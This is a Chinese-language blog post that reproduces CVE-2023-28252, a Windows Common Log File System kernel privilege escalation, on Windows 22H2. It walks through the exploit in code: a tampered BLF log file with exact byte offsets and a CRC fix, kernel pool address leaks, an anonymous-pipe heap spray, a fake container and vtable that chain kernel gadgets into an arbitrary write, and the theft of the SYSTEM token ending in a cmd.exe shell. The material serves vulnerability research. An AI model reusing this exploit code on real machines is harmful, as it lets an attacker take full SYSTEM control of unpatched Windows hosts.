挺久没有复现过漏洞了,在自己github仓库翻到了这个感觉挺有意思的

公众号:https://mp.weixin.qq.com/s/QgsGTgq-V7zxq3_oGdjdGA

或许我们的公众号会有更多你感兴趣的内容

img

MSRC漏洞描述[1]

image-20261109085534678

环境是Windows 22H2 的,和我之前分析 CVE-2023-21768 使用的同款环境

image-20261109084112374

相关 PoC:https://github.com/Joe1sn/CVE_2023_28252/

CLFS 基础

通用日志文件系统(CLFS)是用户模式或内核模式中运行的软件 客户端 使用的常规用途日志记录服务。[2]

根据 [3] [4] 日志文件有如下格式

image-20261111153857613

Control Block 和 Control Block Shadow

两个几乎一样,在这里也不重要

image-20261111155255283

Base (Shadow) Block

这个是漏洞利用相关的结构体

基础记录包含与基础日志文件关联的客户端和容器的信息,以及它们相关的上下文。此外,每个容器的共享安全上下文也存储在此处。最后,还包含一些状态信息。

该信息存储在称为符号的数据结构以及记录开头标题中的字段的组合中。

image-20261111160520622

客户端上下文、容器上下文和共享安全上下文由符号(Symbol)表示

image-20261111161027203

加载到内存后

CLFS 基本日志文件一旦加载到内存中,便由一个CClfsBaseFile类表示,该类还可以通过扩展进一步扩展CClfsBaseFilePersisted

image-20261111161707752

m_rgBlocks在其中的偏移是0x30

那么m_rgBlocks数组大小是多少呢?

在调用Ring3 API CreateLogFile后,进入CClfsBaseFilePersisted::ReadImage阶段,申请这块内存

image-20261111163356041

为什么是0x90?

m_rgBlocks每一个元素是_CLFS_METADATA_BLOCK,大小是0x18,前文提过blf文件一共仅有6个block,所以 0x18*6=0x90

image-20261111163518814

如果使用匿名管道的喷射那么写入的大小应该是 0x90-0x30=0x60

静态审计

如果单纯是为了复现、研究这个漏洞,关键WinApi只有两个CreateLogFile和AddLogContainer

logFile = CreateLogFile(stored_name_CreateLog, GENERIC_READ | GENERIC_WRITE, 1, 0, 4, 0);

ULONGLONG cbContainer = 1024 * 1024;
if (!AddLogContainer(logFile, &cbContainer, nullptr, nullptr)) {
CloseHandle(hLog);
return;
}

和创建普通的文件很类似

AddLogContainer

对于AddLogContainer,进入驱动路径:

出发漏洞是的stack如下

CClfsRequest::AllocContainer+0x22a
-> CClfsLogFcbPhysical::AllocContainer+0x14a
-> CClfsBaseFilePersisted::AddContainer+0xdc
-> CClfsBaseFilePersisted::AddSymbol+0x10d
-> CClfsBaseFilePersisted::ExtendMetadataBlock+0x3fd
-> CClfsBaseFilePersisted::WriteMetadataBlock+0x62

image-20261111165615140

目前可以简单理解 v5就是我们伪造的一个恶意的、触发越界的恶意blf文件中的 ControlBlockShadow

在WriteMetadataBlock中,会拿到我们构造堆喷射的伪造对象,然后自增1,会反复调用4次

image-20261112094859643

CreateLogFile

对于CreateLogFile,进入驱动路径:DriveEntry到Dispatch就不说了,直接ida中疯狂x就能看到

CClfsRequest::Create+0x2dc
->CClfsLogFcbPhysical::Initialize+0x172
->CClfsLogFcbPhysical::CheckSecureAccess+0x1f
->CClfsBaseFilePersisted::CheckSecureAccess+0x121
->CClfsLogFcbPhysical::CheckSecureAccess+0x1f //虚函数调用 *(*(this + 0x4B) + 0x190LL)
->Symbol = CClfsBaseFile::GetSymbol(this, n0x1368, n0x400, &pContainerContext);
->pContainer = pContainerContext->pContainer;
->(**pContainer)(pContainer); | ClfsEarlierLsn
->(*(*pContainer_2 + 8LL))(pContainer_2); | QueryContainerSecurity 失败后,PoFxProcessorNotification

具体的调用后续就知道了,大致的攻击路径是这样的

image-20261112100729725

GetSymbol的算法

typedef struct _CLFS_BASE_RECORD_HEADER {
CLFS_LOG_BLOCK_HEADER hdr; // +0x000 (0x70)
CLFS_LOG_ID cidLog; // +0x008
CLFSHASHTBL rgClientSymTbl; // +0x018
CLFSHASHTBL rgContainerSymTbl;// +0x070
CLFSHASHTBL rgSecuritySymTbl; // +0x0C8
ULONG cNextContainer; // +0x120
ULONG cNextClient; // +0x124
ULONG cFreeContainers; // +0x128
ULONG cActiveContainers;// +0x12C
ULONG cbFreeContainers; // +0x130
ULONG cbBusyContainers; // +0x134
CLFS_CLIENT_CONTEXT rgClients[124]; // +0x138
CLFS_CONTAINER_CONTEXT rgContainers[1024];// +0x328 ← rgContainers[0] 在 +0x398
ULONG cbSymbolZone; // +0x1328
ULONG cbSector; // +0x132C
ULONG eLogState; // +0x1332
ULONG cClients; // +0x1334
/* 符号区从 +0x1338 开始 */
} CLFS_BASE_RECORD_HEADER, *PCLFS_BASE_RECORD_HEADER; // sizeof = 0x1338

从_CLFS_BASE_RECORD_HEADER(_CLFS_BASE_HEADER +70)的地址开始算起,加上BaseLogRecord->rgContainers[0]的值即可,例如后面攻击

image-20261112133441088

之前对 BaseLogRecord->rgContainers[0] 的位置新增了4次+1,从0x1458变为0x1858,所以ContainerContext的地址

ffffcd0c`f58c6000
+70(Block Header的大小)
+0x1858(BaseLogRecord->rgContainers[0])的值
= ffffcd0c`f58c78c8

这里刚好是我们埋伏的恶意CLFS_CONTAINER_CONTEXT

image-20261112102944010

动态分析

1. 基础准备

首先获得一系列函数的地址,便于后面伪造和使用。并且获得一个便须后续泄露的值

inline ULONG_PTR fnClfsEarlierLsn;
inline ULONG_PTR fnPoFxProcessorNotification;
inline ULONG_PTR fnClfsMgmtDeregisterManagedClient;
inline ULONG_PTR para_PipeAttributeobjInkernel;
inline ULONG_PTR fnSeSetAccessStateGenericMapping;
inline pairPipe g_VictimPipes;

inline PNtQuerySystemInformation fnNtQuerySystemInformation;
inline PNtFsControlFile NtFsControlFile;
getVirtualFunction();
getVirtualAddress();

2. 创建BLF日志文件

然后创建一个标准的 LogFile 并记录 Log路径名称和文件名称以及路径

tFileName = RandomUIntWString(100, 1000);//no `+ L".blf"`
tFilePath = L"C:\\Users\\Public\\" + tFileName;
tLogFilePath = L"LOG:" + tFilePath;
tContainerPath = L"C:\\Users\\Public\\.p_" + tFileName;
tFilePath += L".blf";

// 1. 创建模板 BLF 文件
HANDLE hTFile = CreateLogFile(tLogFilePath.c_str(), GENERIC_READ |
GENERIC_WRITE, 1, 0, 4, 0);
if (hTFile == INVALID_HANDLE_VALUE) {
DWORD error = GetLastError();
std::cout << "[x] Create log file failed: " << std::hex << error << std::dec << "\n";
exit(-1);
}
std::wcout << "[+] Filename: " << tFileName << "\n"
<< "[+] FilePath: " << tFilePath << "\n"
<< "[+] LOG FilePath: " << tLogFilePath << "\n";
CloseHandle(hTFile);

3. 修改为恶意日志文件

之后修改这个BLF模板并进行crc32值的修复

// 2.修改BLF文件
craftTriggerFile(tFilePath);

// 3. 修复crc32校验
std::cout << "[+] Fix new content log file crc32 value\n";
fixCRCFile(tFilePath);

具体修改

const char RecordOffset12[] = { 0x69, 0x03 }; 
const char data1[] = { 0xa0, 0x15 };
const char data2[] = { 0x70, 0x15 };
const char data3[] = { 0x08, 0xf0, 0xfd, 0xc1 };
const char data4[] = { 0x30, 0x00 };
const char data5[] = { 0x00, 0x00, 0x00, 0x05 };
const char data6[] = { 0x58, 0x18 };
const char data7[] = { 0x88, 0x18 };

其中主要的是 RecordOffset12

const char RecordOffset12[] = { 0x69, 0x03 }; //修改 BaseBlockShadow的 
fs.seekp(0x858);
fs.write(RecordOffset12, sizeof(RecordOffset12));
fs.seekp(0x8258); //Shadow 块也要保持一致
fs.write(RecordOffset12, sizeof(RecordOffset12));

在_CLFS_LOG_BLOCK_HEADER中,原来是从0x00开始计算头,但是后续利用越界使用将头从+0x30开始计算,所以原来是添加RecordOffsets[0]=0x70找到记录,但是现在成了我们伪造的0x369找到记录

00000000 struct _CLFS_LOG_BLOCK_HEADER // sizeof=0x70
00000000 { // XREF: CLFS_LOG_BLOCK_HEADER/r
00000000 UCHAR MajorVersion;
00000001 UCHAR MinorVersion;
00000002 UCHAR Usn;
00000003 CLFS_CLIENT_ID ClientId;
00000004 USHORT TotalSectorCount;
00000006 USHORT ValidSectorCount;
00000008 ULONG Padding;
0000000C ULONG Checksum;
00000010 ULONG Flags;
00000014 // padding byte
00000015 // padding byte
00000016 // padding byte
00000017 // padding byte
00000018 CLFS_LSN CurrentLsn;
00000020 CLFS_LSN NextLsn;
00000028 ULONG RecordOffsets[16];
00000068 ULONG SignaturesOffset;
0000006C // padding byte
0000006D // padding byte
0000006E // padding byte
0000006F // padding byte
00000070 };

image-20261112104513353

显而易见还有一个重要的点是data5

const char data5[] = { 0x00, 0x00, 0x00, 0x05 }; 
fs.seekp(0x20e0);
fs.write(data5, sizeof(data5));

fs.seekp(0x1df8);
fs.write(data5, sizeof(data5));

fs.seekp(0x97f8); //这里是Base Block Shadow的位置
fs.write(data5, sizeof(data5));

对于一个container,这里相当于伪造了一个_CLFS_CONTAINER_CONTEXT结构体,并将其真正的、带有虚函数的_CClfsContainer设置在了我们能控制的地址

00000000 struct _CLFS_CONTAINER_CONTEXT // sizeof=0x38
00000000 { // XREF: CLFS_CONTAINER_CONTEXT/r
00000000 CLFS_NODE_ID cidNode;
00000008 ULONGLONG cbContainer;
00000010 CLFS_CONTAINER_ID cidContainer;
00000014 CLFS_CONTAINER_ID cidQueue;
00000018 struct _CClfsContainer *pContainer;
00000020 CLFS_USN usnCurrent;
00000028 CLFS_CONTAINER_STATE eState;
0000002C ULONG cbPrevOffset;
00000030 ULONG cbNextOffset;
00000034 // padding byte
00000035 // padding byte
00000036 // padding byte
00000037 // padding byte
00000038 };

回忆一下静态审计的触发过程:

AddLogContainer利用CLFS_CONTROL_RECORD.iFlushBlock的溢出,得到一个喷射伪造堆的CLFS_METADATA_BLOCK,然后再取pbImage到伪造的地址CLFS_LOG_BLOCK_HEADER,这里被设置为了第一个TriggerLogFile的CLFS_kernelAddrArray + 0x30的位置

UINT64 arrayCLFSkernelAddress[12] = { 0 };
for (size_t i = 0; i < 12; i++)
arrayCLFSkernelAddress[i] = CLFS_kernelAddrArray + 0x30;

然后利用WriteMetadataBlock堆虚构的record加RecordOffset12的值

fake_Block_Header + fake_Block_Header.RecordOffsets[0]
= real_Block_Header + 0x30 + 0x369
= real_Block_Header + 0x399
= real_Block_Header + 0x70 + 0x328 + 1
= real_CLFS_BASE_RECORD_HEADER + &real_CLFS_BASE_RECORD_HEADER.rgContainers[0] + 1
= real_CLFS_BASE_RECORD_HEADER.rgContainers[0]+0x100

然后这个过程会重复4次,参考静态分析中的CreateLogFile部分,导致真正的container跑偏

ffffcd0c`f58c6000
+70(BaseLogHeader的大小)
+0x1858(BaseLogRecord->rgContainers[0]的值)
= ffffcd0c`f58c78c8

然后 pContainer 在 _CLFS_CONTAINER_CONTEXT 中偏移又是0x18,下面以Base Log Block举例

Contron_Block_size + Contron_Block_Shadow_size = 0x800
= Base_Block

Base_Block + Block_Header_size + Fake_Container_Offset + pContainer_Offset
= 0x800 + 0x70 + 0x1858 + 0x18
= 0x20e0

所以会在文件0x20e0的地方写上伪造的Container

4. 泄露Base Block地址并启用Container

这里是为了拿到 TriggerFile 的Base Block在内存中0x7A00大小的文件,从而能够定位到我们在3中构造的恶意数据

泄露的方法依旧是使用NtQuerySystemInformation,根据[]中的描述

第一次调用 ntQuery 会返回0xC0000004错误,但是会返回正确的大小;第二次调用就是真正的信息了

unsigned long long ulFindKernelPoolAddress(ULONG targetTag, SIZE_T targetSize, PUINT64 outAddresses, ULONG maxCount) {
ULONG retlen = 0;
ULONG foundCount = 0;
NTSTATUS status;

//import function `NtQuerySystemInformation`
HMODULE ntdll = GetModuleHandle(TEXT("ntdll"));
PNtQuerySystemInformation NtQuerySystemInformation = (PNtQuerySystemInformation)GetProcAddress(ntdll, "NtQuerySystemInformation");
if (NtQuerySystemInformation == NULL) {
printf("[!] GetProcAddress() failed.\n");
return 0;
}

// 1. 初始分配 4KB 试探大小
ULONG bufferSize = 0x1000;
PVOID buffer = VirtualAlloc(NULL, bufferSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (!buffer) return 0;

// 2. 循环获取足够大的缓冲区
while (1) {
status = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemBigPoolInformation, buffer, bufferSize, &retlen);

if (status == 0xC0000004) { // STATUS_INFO_LENGTH_MISMATCH
VirtualFree(buffer, 0, MEM_RELEASE);
bufferSize = retlen + 0x1000; // 多分配一点防止竞态
buffer = VirtualAlloc(NULL, bufferSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (!buffer) return 0;
}
else if (NT_SUCCESS(status)) {
break; // 获取成功
}
else {
VirtualFree(buffer, 0, MEM_RELEASE);
return 0; // 其他错误
}
}

// 3. 解析数据
PSYSTEM_BIGPOOL_INFORMATION pBigPoolInfo = (PSYSTEM_BIGPOOL_INFORMATION)buffer;

// 倒序遍历(从最新分配的向最早分配找,堆喷射等场景下目标对象通常是最近分配的)
for (int i = pBigPoolInfo->Count - 1; i >= 0; --i) {
PSYSTEM_BIGPOOL_ENTRY entry = &pBigPoolInfo->AllocatedInfo[i];

// 判断 Size 是否匹配(如果 targetSize 不为 0)
if (targetSize != 0 && entry->SizeInBytes != targetSize)
continue;

if (entry->TagUlong != targetTag) // 判断 Tag 是否匹配
continue;

// 获取地址,并清除最低位的 NonPaged 标志 (Bit 0)
UINT64 realAddress = (UINT64)entry->VirtualAddress & 0xFFFFFFFFFFFFFFFE;

// 保存结果
if (foundCount < maxCount && outAddresses) {
outAddresses[foundCount] = realAddress;
}
foundCount++;
}

VirtualFree(buffer, 0, MEM_RELEASE);
return foundCount;
}

两次调用ulFindKernelPoolAddress中间穿插一次CreateLogFile然后对比数据就可以知道Base Block的内核堆地址了

    UINT64 foundAddrs[100] = {};
ULONG_PTR CLFS_kernelAddrArray;
auto count = exploit::memtools::ulFindKernelPoolAddress(ClfsTagName, BaseBlockSize, foundAddrs, 100);
//...
std::unordered_set<UINT64> oldSet(foundAddrs, foundAddrs + count);
hTFile = CreateLogFile(tLogFilePath.c_str(), 0xC0010000, FILE_SHARE_READ, 0, 3, 0);
//...
count = exploit::memtools::ulFindKernelPoolAddress(ClfsTagName, BaseBlockSize, foundAddrs, 100);
//...
std::unordered_set<UINT64> newSet(foundAddrs, foundAddrs + count);
int newChunkCount = 0;
for (UINT64 addr : newSet) {
if (oldSet.find(addr) == oldSet.end()) {
CLFS_kernelAddrArray = addr;
newChunkCount++;
}
}
if (newChunkCount == 1) {
printf("[+] Found new trigger blf chunk: 0x%p, with tag: %X, size: 0x%X\n", (void*)CLFS_kernelAddrArray, ClfsTagName, BaseBlockSize);
}
//...

最后启用container,不然后续的利用会失败(参见 静态审计-AddLogContainer 部分)

5. 创建iFlush溢出文件

通过这里的溢出文件(SprayFile,但我喜欢叫oobFile)攻击到TriggerFile

//5.构造用于攻击的blf文件
std::vector<HANDLE> oobFile;
std::vector<std::wstring> oobFileName;
std::vector<std::wstring> oobFilePath;
std::vector<std::wstring> oobLogPath;
std::vector<std::wstring> oobContainerPath;
for (size_t i = 0; i < 10; i++)
{
auto temp_fileName = tFileName + L"_" + RandomUIntWString(100, 1000);
auto temp_filePath = L"C:\\Users\\Public\\" + temp_fileName;
auto temp_logFilePath = L"LOG:" + temp_filePath;
auto temp_containerPath = L"C:\\Users\\Public\\.p_" + temp_fileName;
temp_filePath += L".blf";
oobFileName.push_back(temp_fileName);
oobFilePath.push_back(temp_filePath);
oobLogPath.push_back(temp_logFilePath);
oobContainerPath.push_back(temp_containerPath);
}

auto sprayFile_0 = CreateLogFile(oobLogPath[0].c_str(), GENERIC_READ | GENERIC_WRITE, 1, 0, OPEN_ALWAYS, 0);
if (sprayFile_0 == INVALID_HANDLE_VALUE) {
DWORD error = GetLastError();
printf("Could not create LOGfile2, error: 0x%x\n", (unsigned int)error);
exit(-1);
}
CloseHandle(sprayFile_0);
for (int i = 1; i < oobFilePath.size(); i++)
{
int resul = CopyFileW(oobFilePath[0].c_str(), oobFilePath[i].c_str(), TRUE);

if (resul == 0) {
DWORD error = GetLastError();
printf("copy error: 0x%x\n", (unsigned int)error);
exit(-1);
}

// fun_trigger(stored_log_arrays[i], stored_fopen_arrays[i]);
craftSprayFile(oobFilePath[i]);
fixCRCFile(oobFilePath[i]);
}

其中craftSprayFile的关键就是修改iFlushBlock2

const char iFlushBlock2[] = { 0x13, 0x00 };
fs.seekp(0x48A);
fs.write(iFlushBlock2, sizeof(iFlushBlock2)); //changing the iFlushBlock of the shadow block to 13

6. 堆喷

我们知道在CreateLogFile时,ReadImage 会创建一个0x90大小的内存来存放m_rgBlocks(参见 CLFS基础-加载到内存后 部分),为了使最后的索引溢出能到我们指定的地址,这里使用匿名管道进行堆喷

//6.准备堆喷射
HANDLE _hthread = GetCurrentThread();//将当前线程锁定在CPU_0,增大喷射后的填充概率
SetThreadAffinityMask(_hthread, 1);

UINT64 arrayCLFSkernelAddress[12] = { 0 }; //0x60
for (size_t i = 0; i < 12; i++)
arrayCLFSkernelAddress[i] = CLFS_kernelAddrArray + 0x30;

std::vector<pairPipe> pipesA, pipesB;
for (size_t i = 0; i < 0x5000; i++)
{
pairPipe temp = {};
if (!CreatePipe(&temp.r, &temp.w, 0, 0x25C0)) {
std::cout << "[!] created pipe: " << i << " failed\n";
continue;
}
pipesA.push_back(temp);
}
for (size_t i = 0; i < 0x4000; i++)
{
pairPipe temp = {};
if (!CreatePipe(&temp.r, &temp.w, 0, 0x25C0)) {
std::cout << "[!] created pipe: " << i << " failed\n";
continue;
}
pipesB.push_back(temp);
}

DWORD byteswritten;
for (size_t i = 0; i < 0x5000; i++)
{
if (!WriteFile(pipesA[i].w, arrayCLFSkernelAddress, 0x60, &byteswritten, 0))//0x60 + 0x30 = 0x90
{
std::cout << "[!] Grooming pool failed\n";
exit(1);
}
}

for (size_t i = 1; i < 0x666; i++)
{
if (i % 10 == 0) {
CloseHandle(pipesA[i].r);
CloseHandle(pipesA[i].w);
pipesA[i] = {};
}
}

此时的内存示意如下图

image-20261112115438867

此时如果使用CreateLogFile将oobFile加载进内存,ReadImage就会分配 0x90+0x10(Pool Head)的Chunk来填充这些缝隙,并且相邻的NpFr中的数据都是我们可控的,可以指向伪造的MetaData_Block

for (size_t i = 0; i < 10; i++)
{
auto tempHandle = CreateLogFile(oobLogPath[i].c_str(), GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ, 0, OPEN_ALWAYS, 0);
//...
oobFile.push_back(tempHandle);
}

for (size_t i = 0; i < 0x4000; i++)
{
if (!WriteFile(pipesB[i].w, arrayCLFSkernelAddress, 0x60, &byteswritten, 0))
{
std::cout << "[!] Grooming pool failed\n";
exit(1);
}
}

7. 攻击前准备

泄露System Eprocess中的Token的位置

ULONG_PTR system_EPROCESS;
exploit::memtools::bFindHandleObject(4, 4, (ULONG_PTR)&system_EPROCESS);
printf("[+]System EPROCESS addr: %p\n", system_EPROCESS);
auto system_EPROCESS_high = system_EPROCESS & 0xfffffffffffff000;
auto offset = (unsigned int)(system_EPROCESS & 0xfff) + exploit::gadget::X_22621_1105::tokenToEporcessOffset;
std::cout << "[+] offset = 0x" << std::hex << offset << std::dec << "\n";

开始填充伪造结构体

首先将0x5000000伪造 Container 的地方开辟出来,这里后面真正攻击的时候在讲

LONGLONG pcbContainer2 = 512;
if (!VirtualAlloc((LPVOID)0x5000000, 0x100000, 0x3000, 4)) {
printf("[x] Failed to allocate memory 0x5000000\n");
return;
}
if (!VirtualAlloc((LPVOID)0xffffffff, 0x10000, 0x3000, 4))
{
printf("[x] Failed to allocate memory 0xffffffff\n");
return;
}

UINT64 dest3 = 0x100000007;
UINT64 dest2 = 0xffffffff;
memset((LPVOID)dest3, 0, 0xff8);
*(UINT64*)dest2 = system_EPROCESS_high;
*(UINT64*)dest3 = 0x414141414141005A;

8. 开始攻击

8.1 泄露 System Token

由于不知道10个oobFile哪一个是落在了之前6.堆喷留下的空洞中的,所以需要挨个尝试

AddLogContainer(oobFile[i], (PULONGLONG)&pcbContainer2, (LPWSTR)oobContainerPath[i].c_str(), 0);// AddLogContainer

首先是触发漏洞修改 m_rgBlocks的溢出

image-20261112125811568

然后按照ida中取溢出的算法

image-20261112124918134

image-20261112130049398

typedef struct _CLFS_METADATA_BLOCK {
UCHAR* pbImage; // 内存中:块数据指针
ULONG cbImage; // 块大小
ULONG cbOffset; // 距 Base Log File 起始偏移
CLFS_METADATA_BLOCK_TYPE eBlockType; // 块类型
} CLFS_METADATA_BLOCK, * PCLFS_METADATA_BLOCK;
this->m_rgBlocks[0x13] = ffffdc85`3dab02d8 = CLFS_METADATA_BLOCK fake_MetaData_Block
fake_MetaData_Block.pbImage = ffffca80`4eae7030 = BaseLogBlock+0x30

image-20261112130520427

原本应该是

0: kd> dq ffffca80`4eae7000+70 L1
ffffca80`4eae7070 00000000`00000005
变为
ffffca80`4eae7070 00000000`00000006

但是现在是

0: kd> dq ffffca80`4eae7030 + 00000000`00000369 L1
ffffca80`4eae7399 00000000`00000014
变为
ffffca80`4eae7399 00000000`00000015

并且这里按照对齐应该是(见 静态审计-AddLogContainer 部分)

Real_Base_Log_start + Real_Base_Log_Header + BASE_RECORD_HEADER.rgContainers[0]
= ffffca80`4eae7000 + 0x70 + 0x328
= Fake_Base_Log_start + Fake_Base_Log_Header.RecordOffsets
= ffffca80`4eae7030 + 0x368

0: kd> dq ffffca80`4eae7000 + 0x70 + 0x328
ffffca80`4eae7398 00000000`00001458 00000000`00000000
ffffca80`4eae73a8 00000000`00000000 00000000`00000000

并且要重复四次,等效于

*ffffca80`4eae7398 += 0x400

image-20261112131319224

目前知识修改了CLFS_BASE_RECORD_HEADER.rgContainers[0]的大小,后面使用CreateLogFile触发Container错误

auto handle = CreateLogFile(
tLogFilePath.c_str(),
GENERIC_READ | GENERIC_WRITE | DELETE,
FILE_SHARE_READ, 0, OPEN_EXISTING, 0);

根据 静态分析-CreateLogFile 部分进入CheckSecureAccess+0x121

image-20261112132433213

我重启了下windbg,现在的 Base Log Header变ffffca80521e7000,那么

+0x00 ffffca80521e7000 CLFS_LOG_BLOCK_HEADER
+0x70 ffffca80521e7070 CLFS_BASE_RECORD_HEADER
+0x398 ffffca80521e7398 rgContainers[0],CLFS_CONTAINER_CONTEXT

image-20261112132844757

根据GetSymbol算法,此时

pContainerContext
= &BaseLogRecord + BaseLogRecord->rgContainers[0]
= (0xffffca80521e7000+0x70) +0x1858
= 0xffffca80521e88c8

image-20261112133534271

如果执行pContainer_1 = pContainerContext->pContainer;,那么pContainer_1 = 0x05000000

下面就是我认为整个exp最nb的地方,构建虚函数表并进行利用

此处我们布置的payload

*(UINT64*)0x5000000 = 0x5001000; 
*(UINT64*)0x5000040 = 0x5000000;
*(UINT64*)0x5000048 = 0x5000400;
*(UINT64*)0x5000068 = fnClfsMgmtDeregisterManagedClient;
*(UINT64*)0x5000400 = 0x5001300;
*(UINT64*)0x5000448 = para_PipeAttributeobjInkernel + 0x18;

*(UINT64*)0x5001000 = fnClfsEarlierLsn;
*(UINT64*)0x5001008 = fnPoFxProcessorNotification;
*(UINT64*)0x5001010 = fnClfsEarlierLsn;
*(UINT64*)0x5001018 = fnClfsEarlierLsn;
*(UINT64*)0x5001020 = fnClfsEarlierLsn;
*(UINT64*)0x5001028 = fnClfsEarlierLsn;
*(UINT64*)0x5001030 = fnClfsEarlierLsn;
*(UINT64*)0x5001038 = fnClfsEarlierLsn;
*(UINT64*)0x5001040 = fnClfsEarlierLsn;
*(UINT64*)0x5001328 = fnClfsEarlierLsn;
*(UINT64*)0x5001308 = fnSeSetAccessStateGenericMapping;

那么在CClfsBaseFilePersisted::CheckSecureAccess中我们的虚函数调用如下

image-20261112133844652

image-20261112133917093

关于ClfsEarlierLsn,主要是将rdx=0x0FFFFFFFF

image-20261112134019480

image-20261112134705274

关于fnPoFxProcessorNotification,该函数位于ntoskrnl.exe,再次调用附近的虚函数ClfsMgmtDeregisterManagedClient

image-20261112134132929

image-20261112134729269

关于ClfsMgmtDeregisterManagedClient

image-20261112134401105

image-20261112134758125

关于SeSetAccessStateGenericMapping

image-20261112134448180

image-20261112134816552

通过这种复杂的调用链,让我们有了一次任意地址写的机会,并且我们在 7.攻击前准备 部分让 0x0FFFFFFF 存放 System Token的地址,然后在0x5000448存放一个泄露的匿名管道的地址,这样我们只需要读取这个管道的内容就可以获得任意地址读了

image-20261112135224764

8.2 覆写自身Token完成提权

交换上面构造的位置就行了

ULONG_PTR selfEProcessAddr;
HANDLE hProc = OpenProcess(PROCESS_QUERY_INFORMATION, 0, GetCurrentProcessId());
exploit::memtools::bFindHandleObject(GetCurrentProcessId(), (ULONG_PTR)hProc, (ULONG_PTR)(&selfEProcessAddr));
printf("[+] PoC Eprocess Address: 0x%p\n", selfEProcessAddr);

*(UINT64*)0xFFFFFFFF = *(UINT64*)(offset + (UINT64)temp_chunk);// system token write content
*(UINT64*)0x100000007 = systemTokenValue;
*(UINT64*)0x5000448 = selfEProcessAddr + exploit::gadget::X_22621_1105::tokenToEporcessOffset - 8;// target wire address
CreateLogFile(tLogFilePath.c_str(), GENERIC_READ | GENERIC_WRITE | DELETE, FILE_SHARE_READ, 0, OPEN_EXISTING, 0);
system("cmd.exe");

下面这一步不必要,清除修改,提升exp稳定性

std::cout << "[+] Now fix to orign\n";
*(UINT64*)0xFFFFFFFF = 0x1458;
*(UINT64*)0x100000007 = 0164;
*(UINT64*)0x5000448 = CLFS_kernelAddrArray + 0x390;
CreateLogFile(tLogFilePath.c_str(), GENERIC_READ | GENERIC_WRITE | DELETE, FILE_SHARE_READ, 0, OPEN_EXISTING, 0);

image-20261112141051207

引用

[1] https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-28252

[2] https://learn.microsoft.com/zh-cn/windows-hardware/drivers/kernel/introduction-to-the-common-log-file-system

[3] https://github.com/ionescu007/clfs-docs

[4] https://www.zscaler.com/blogs/security-research/technical-analysis-windows-clfs-zero-day-vulnerability-cve-2022-37969-part

[5] https://github.com/fortra/CVE-2023-28252

[6] https://www.zscaler.com/blogs/security-research/technical-analysis-windows-clfs-zero-day-vulnerability-cve-2022-37969-part